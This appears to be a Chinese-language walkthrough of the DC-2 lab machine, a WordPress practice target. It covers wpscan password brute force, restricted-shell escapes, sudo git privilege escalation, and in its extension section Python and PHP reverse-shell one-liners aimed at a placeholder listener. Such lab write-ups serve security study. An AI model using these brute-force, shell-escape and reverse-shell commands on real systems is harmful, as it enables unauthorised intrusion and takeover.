DC2靶机渗透全流程
DC_2 √ WordPress
依据后面得出:192.168.40.158
1.arp-scan
参考教程:https://blog.csdn.net/a310034188/article/details/121624538
信息搜集:
arp-scan -l
得到DC_2的ip为:192.168.40.158
扫描端口
nmap -A -p1-65535 192.168.40.158
作用应该等同于DC_1的:nmap -A -p- -T4 192.168.40.157 (类似)
可看到80端口-HTTP服务,7744-ssh端口(默认22)
尝试访问:
就像博主一样访问失败
添加文件内容:
192.168.40.158 dc-2
C:/Windows/System32/drivers/etc/HOSTS
该文件是什么?
根据Windows系统规定,在进行DNS请求以前,Windows系统会先检查自己的Hosts文件中是否有这个地址映射关系,如果有则调用这个 IP地址映射,如果没有再向已知的DNS服务器提出域名解析。 也就是说Hosts的请求级别比DNS高。 c:WindowsSystem32driversetchosts 是域名解析文件。
注意,应将下图中的
192.168.28.149
改为192.168.40.158
保存:
右键属性进行处理:
之后再进行修改后,成功保存
经测试,对HOSTS文件属性的处理,没有影响到其他文件
2.cewl
提示:
Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.
即要用cewl
Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件,你可以把字典用到类似John the Ripper这样的密码破解工具中。除此之外,Cewl还提供了命令行工具。
cewl http://dc-2 -w passwd.txt
使用ip即cewl http://192.168.40.158 -w passwd.txt可能会失败,ip可能被重定向
得到字典:
接下来寻找账号和登录框
3.dirb
使用dirb来挖目录:
dirb:有点像是dirsearch或御剑
dirb http://dc-2u
4.wappalyzer
看CMS:
发现是WordPress,那就使用wpscan攻击
5.wpscan
wpscan
:https://www.freebuf.com/sectool/174663.html
wpscan --url http://dc-2/ -e u
得到3个用户:admin,jerry,tom
填入到字典中:
使用wpscan爆破账号密码:
wpscan --url http://dc-2 -U admin.txt -P passwd.txt
得到有效的账号密码:
jerry - adipiscing
tom - parturient
登陆成功,但是一片空白:
访问:
回到刚才发现的7744的ssh端口,尝试连接:
ssh tome@192.168.40.158 -p 7744
发现了flag3.txt和-rbash:
-rbash:
查看可用命令:
compgen -c
或者直接用less flag3.txt也行:
涉及到了su
,那应该就是提权了
尝试回到上一级:失败
//尝试使用vi提权:尝试失败
vi随便打开文件
再下面添加
:set shell=/bin/sh
:shell
# 把/bin/bash给a变量,绕过rbash
BASH_CMDS[a]=/bin/bash
# 使用并添加环境变量,将/bin作为PATH环境变量导出
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
难搞的是设置
BASH_CMDS[a]=/bin/sh;a
后无法进行删除操作,只能换行重新输
成功绕过-rbash
然后切换到jerry用户并进入jerry的家目录:
su jerry
cd jerry
ls
cat flag4.txt
提示了git提权
先查看sudo配置文件
sudo -l : 发现git是root权限
证明通过sudo执行git命令时不需要root的密码
sudo git help config
也可以通过那个界面直接切换到root用户
!sudo su
小结:
# dirb使用
dirb http://dc-2 # 扫目录
# wpscan的使用
wpscan --url http://dc-2/ -e u # 生成可用用户
wpscan --url http://dc-2 -U admin.txt -P passwd.txt
# 绕过-rbash相关命令:
BASH_CMDS[a]=/bin/bash
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
su jerry
# git提权相关命令:
sudo -l
sudo git help config
!sudo su
# 其他命令:
ssh tome@192.168.40.158 -p 7744 # ssh远程连接命令
compgen -c # 查看可用的命令
拓展
git提权:
sudo git help config 或sudo git -p help
!<想执行的命令> # 这里把想执行的命令改为sudo su,su root等切换为root用户的命令即可
# 看其他文章时发现也可以 改为 !/bin/bash或! 'sh'
rbash拓展
这里以centos为例
https://cloud.tencent.com/developer/article/1680551
rbash的受限:
- 使用命令cd更改目录
- 设置或者取消环境变量的设置(SHELL, PATH, ENV, or BASH_ENV)
- 指定包含参数'/'的文件名
- 指定包含参数' - '的文件名
- 使用重定向输出'>', '>>', '> |', '<>' '>&','&>'
查看系统所有可用的shell:
cat /etc/shells
# 可见centos中是没有/bin/rbash和/usr/bin/rbash(而在ubuntu中有)
查看默认的shell:echo $SHELL
查看当前使用的shell:输入不存在的命令
创建rbash的用户
由于没有rbash(rbash不能直接实现),所以在开始之前,需要创建软连接:
cd /bin
ln -s bash rbash # rbash和bash是同个东西,只不过用不同名字启动时,效果不同,据此猜测rbash的全称为restricted bash(受限制的bash)
useradd -s /bin/rbash elapse # 创建用户:指定用/bin/rbash来启动
su elapse # 切换到这个用户
cd /tmp # 收到报错信息
绕过rbash
共6种方法:
1
编辑器绕过rbash
输入vi
,在末行模式中,输入:set shell=/bin/bash
再在末行模式下输入:shell
以DC-2靶机为例:可行
ed编辑器绕过
:可行
尝试DC-2靶机:由于没有这个编辑器,所以失败
编程语言绕过
python
python -c 'import os;os.system("/bin/bash");' # 注意不是用python3
尝试DC-2:没有python环境,所以失败
perl:可用
perl -e 'system("/bin/bash");'
同样的,DC-2无perl环境,所以失败
反弹shell
python反弹
# kali:
nc -lvnp 2333
# 靶机:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php反弹
:可行
php -r '$sock=fsockopen("LISTENING IP",LISTENING PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
利用二进制文件
more
:复现出问题
less
:
less 1.txt(任意文件名)->出现末行模式
在末行模式下执行: !'bash'
man
问题来了,是不是只要能够出现末行模式,那就有提权的可能?
expect绕过
yum install expect
# 依次执行:
expect
spawn sh
sh
ssh
# 先设置centos的初始密码12345678
su root
passwd admin
# 在kali上执行:
ssh admin@192.168.40.161 -t "bash --noprofile"
tom - parturient
尝试用DC-2:失败